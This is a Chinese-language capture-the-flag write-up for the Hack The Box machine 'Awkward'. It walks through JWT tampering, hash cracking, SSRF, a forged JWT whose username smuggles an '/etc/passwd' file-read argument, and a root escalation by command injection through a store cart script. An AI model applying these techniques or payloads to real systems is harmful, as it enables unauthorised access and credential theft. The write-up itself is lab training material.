Awkward 是一款中等难度的机器,它突出显示了不会导致 RCE 的代码注入漏洞,而是 SSRF、LFI 和任意文件写入/追加漏洞。此外,该框还涉及通过不良的密码做法(例如密码重用)以及以纯文本形式存储密码来绕过身份验证。
循例nmap
ffuf
从主站的开发者工具中能找到router.js,里面有几个路由
/hr
http请求里有个token,常规把guest改admin,然后刷新页面
跳转到了dashboard
现在我们继续看services下的/api端点
通过staff-details,我们能够获得user和密码hash
hashcat爆出一个,是christopher.jones的
把token重置为guest,然后到/hr登录
store-status参数是一个url,盲猜SSRF, 直接给一个url发现没成功
通过常规@符逃逸就成功了
前面的store子域是需要登录的,密码重用没成功
通过SSRF扫内网的http服务
生成数字字典
ffuf
3002披露了那几个api的后端源码
值得注意的是all-leave,这里user虽然被黑名单严格检测,但依然有可乘之机, 这将通过jwt来让它妥协
这里的jwt是签名的,通过jhon爆破得到密钥
生成jwt poc
import jwt
key = "123beany123"
algorithm = "HS256"
payload = {"username": "/' /etc/passwd '"}
token = jwt.encode(payload, key, algorithm=algorithm)
print(token)
两个用户,读/home/bean/.bashrc
读backup_home.sh
#!/bin/bash
mkdir /home/bean/Documents/backup_tmp
cd /home/bean
tar --exclude='.npm' --exclude='.cache' --exclude='.vscode' -czvf /home/bean/Documents/backup_tmp/bean_backup.tar.gz .
date > /home/bean/Documents/backup_tmp/time.txt
cd /home/bean/Documents/backup_tmp
tar -czvf /home/bean/Documents/backup/bean_backup_final.tar.gz .
rm -r /home/bean/Documents/backup_tmp
从浏览器下.tar.gz,解压之后得到
在xpad中能看到bean的明文凭据
通过这个明文密码,我们可以登bean的ssh
现在,我们能够通过admin:bean的凭据 登录store子域
同时,pspy也发现了root似乎在读leave_requests.csv后发送了一封邮件,我看到bean.hill时我想应该可以修改leave_requests.csv将username改为恶意命令来达到劫持这条命令的效果
2024/01/05 23:40:01 CMD: UID=0 PID=4834 | tail -1 /var/www/private/leave_requests.csv
2024/01/05 23:40:01 CMD: UID=0 PID=4836 | /bin/bash /root/scripts/notify.sh
2024/01/05 23:40:01 CMD: UID=0 PID=4841 | trivial-rewrite -n rewrite -t unix -u -c
2024/01/05 23:40:01 CMD: UID=0 PID=4840 | mail -s Leave Request: bean.hill christine
然鹅/var/www/private/leave_requests.csv无权读写
在store查看时,我发现了一些txt,并且去读取了它们,这些似乎是一些http参数
grep
在cart_actions.php中,值得关注的是这些代码
//check for valid hat valley store item
function checkValidItem($filename) {
if(file_exists($filename)) {
$first_line = file($filename)[0];
if(strpos($first_line, "***Hat Valley") !== FALSE) {
return true;
...
//add to cart
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['action'] === 'add_item' && $_POST['item'] && $_POST['user']) {
$item_id = $_POST['item'];
$user_id = $_POST['user'];
$bad_chars = array(";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"); //no hacking allowed!!
foreach($bad_chars as $bad) {
if(strpos($item_id, $bad) !== FALSE) {
echo "Bad character detected!";
exit;
}
}
foreach($bad_chars as $bad) {
if(strpos($user_id, $bad) !== FALSE) {
echo "Bad character detected!";
exit;
}
}
if(checkValidItem("{$STORE_HOME}product-details/{$item_id}.txt")) {
if(!file_exists("{$STORE_HOME}cart/{$user_id}")) {
system("echo '***Hat Valley Cart***' > {$STORE_HOME}cart/{$user_id}");
}
system("head -2 {$STORE_HOME}product-details/{$item_id}.txt | tail -1 >> {$STORE_HOME}cart/{$user_id}");
echo "Item added successfully!";
}
虽然我们依然无法直接rce,但是product-details/和cart/两个目录我们都有777权限,private/ www-data组应该有权限
在product-details/下创建一个新的4.txt,在第二行写入恶意命令
去到cart/创建软连接
创建cmd.sh
请求cart_actions.php
不出意外它会到来,除非手慢了